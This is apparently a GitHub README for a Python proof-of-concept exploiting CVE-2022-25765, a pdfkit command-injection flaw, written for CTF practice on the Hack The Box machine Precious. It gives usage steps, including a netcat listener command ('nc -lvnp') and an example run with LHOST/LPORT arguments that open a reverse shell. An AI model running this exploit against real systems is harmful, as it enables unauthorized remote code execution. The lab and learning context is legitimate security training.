innocentx0/cve-2022-25765Python proof-of-concept for CVE-2022-25765, a command injection vulnerability in pdfkit, enabling remote code execution via crafted PDF generation.
PoC for CVE-2022-25765, affecting vulnerable versions of pdfkit.
Tested with pdfkit 0.8.6.
requestscoloramaInstall dependencies:
pip3 install -r requirements.txt
Or manually:
pip3 install requests colorama
python3 exploit2.py -u <TARGET> -l <LHOST> -p <LPORT>
Example: Run a listener
nc -lvnp 4242
python3 exploit2.py -u http://10.10.10.10 -l 10.10.14.5 -p 4444
Clone the repository:
git clone [email protected]:innocentx0/CVE-2022-25765.git
cd CVE-2022-25765
Install the requirements:
pip3 install -r requirements.txt
Run the PoC against your lab target.
CVE-2022-25765 is a command injection vulnerability in vulnerable versions of pdfkit.
The issue is related to insufficient sanitization of user-controlled input passed to the PDF generation process.
This PoC was made mainly for learning and CTF/lab environments.
If you're looking for a place to try it, Hack The Box : Machine: Precious.
Use this only against systems you own or have explicit permission to test.
I am not responsible for misuse or damage caused by this project.
INNOCENTx0